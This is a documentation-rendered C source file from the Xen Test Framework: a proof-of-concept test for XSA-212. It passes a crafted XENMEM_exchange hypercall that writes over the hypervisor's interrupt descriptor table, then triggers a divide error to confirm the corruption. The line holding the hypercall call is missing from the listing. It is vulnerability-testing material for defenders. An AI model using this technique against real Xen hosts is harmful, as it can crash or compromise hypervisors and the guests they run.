Xen Test Framework
main.c
Go to the documentation of this file.
1
28#include <xtf.h>
29
30const char test_title[] = "XSA-212 PoC";
31
32void test_main(void)
33{
34 unsigned int i;
35 desc_ptr idtr;
36
37 sidt(&idtr);
38
39 /* Exchange away PFN 0. */
40 unsigned long in_extents[] = { pfn_to_mfn(0) };
41 unsigned long pxt = _u(in_extents);
42 unsigned long exchanged_so_far = idtr.base / 8;
43
44 struct xen_memory_exchange mx =
45 {
46 .in = {
47 .extent_start = _p(pxt - idtr.base),
48 .nr_extents = exchanged_so_far + 1,
49 .extent_order = PAGE_ORDER_4K,
50 .mem_flags = 0,
51 .domid = DOMID_SELF,
52 },
53 .out = {
54 .extent_start = NULL,
55 .nr_extents = exchanged_so_far + 1,
56 .extent_order = PAGE_ORDER_4K,
57 .mem_flags = 32,
58 .domid = DOMID_SELF,
59 },
60 .nr_exchanged = exchanged_so_far,
61 };
62
63 /*
64 * This test can race with being rescheduled across pcpus. Retry up to
65 * three times if XENMEM_exchange looks vulnerable, but Xen didn't crash
66 * when trying to handle the divide error.
67 */
68 for ( i = 0; i < 3; ++i )
69 {
71
72 if ( rc == 0 )
73 xtf_failure("Fail: XENMEM_exchange returned success\n");
74 else
75 printk("XENMEM_exchange returned %d\n", rc);
76
77 printk("Probably %svulnerable to XSA-212\n", rc == 0 ? "" : "not ");
78
79 unsigned int hi = 0, low = 1;
80 exinfo_t fault = 0;
81
82 printk("Attempting to confirm...\n");
83
84 asm volatile ("1: div %%ecx; 2:"
85 _ASM_EXTABLE_HANDLER(1b, 2b, %P[rec])
86 : "+&a" (low), "+&d" (hi), "+D" (fault)
87 : "c" (0), [rec] "p" (ex_record_fault_edi));
88
89 if ( fault == EXINFO_SYM(DE, 0) )
90 {
91 if ( rc == 0 )
92 {
93 printk("Apparent clobber, but got #DE. Retrying...\n");
94 continue;
95 }
96 xtf_success("Success: Got #DE as expected\n");
97 }
98 else
99 xtf_error(" Error: Unexpected fault %#x, %pe\n", fault, _p(fault));
100
101 break;
102 }
103}
104
105/*
106 * Local variables:
107 * mode: C
108 * c-file-style: "BSD"
109 * c-basic-offset: 4
110 * tab-width: 4
111 * indent-tabs-mode: nil
112 * End:
113 */
bool ex_record_fault_edi(struct cpu_regs *regs, const struct extable_entry *ex)
Record the current fault in %edi.
Definition: extable.c:16
static void sidt(desc_ptr *idtr)
Definition: lib.h:352
void printk(const char *fmt,...)
Definition: console.c:134
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:110
const char test_title[]
The title of the test.
Definition: main.c:24
#define EXINFO_SYM(exc, ec)
Definition: exinfo.h:29
unsigned int exinfo_t
Packed exception and error code information.
Definition: exinfo.h:19
static long hypercall_memory_op(unsigned int cmd, void *arg)
Definition: hypercall.h:100
#define _ASM_EXTABLE_HANDLER(fault, fixup, handler)
Create an exception table entry with custom handler.
Definition: extable.h:38
#define XENMEM_exchange
Definition: memory.h:40
unsigned long pfn_to_mfn(unsigned long pfn)
#define _p(v)
Express an abitrary integer v as void *.
Definition: numbers.h:48
#define _u(v)
Express an arbitrary value v as unsigned long.
Definition: numbers.h:53
#define PAGE_ORDER_4K
Definition: page.h:20
void xtf_failure(const char *fmt,...)
Report a test failure.
Definition: report.c:94
void xtf_error(const char *fmt,...)
Report a test error.
Definition: report.c:80
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
#define NULL
Definition: stddef.h:12
struct xen_memory_reservation in
Definition: memory.h:43
unsigned long * extent_start
Definition: memory.h:13
#define DOMID_SELF
Definition: xen.h:70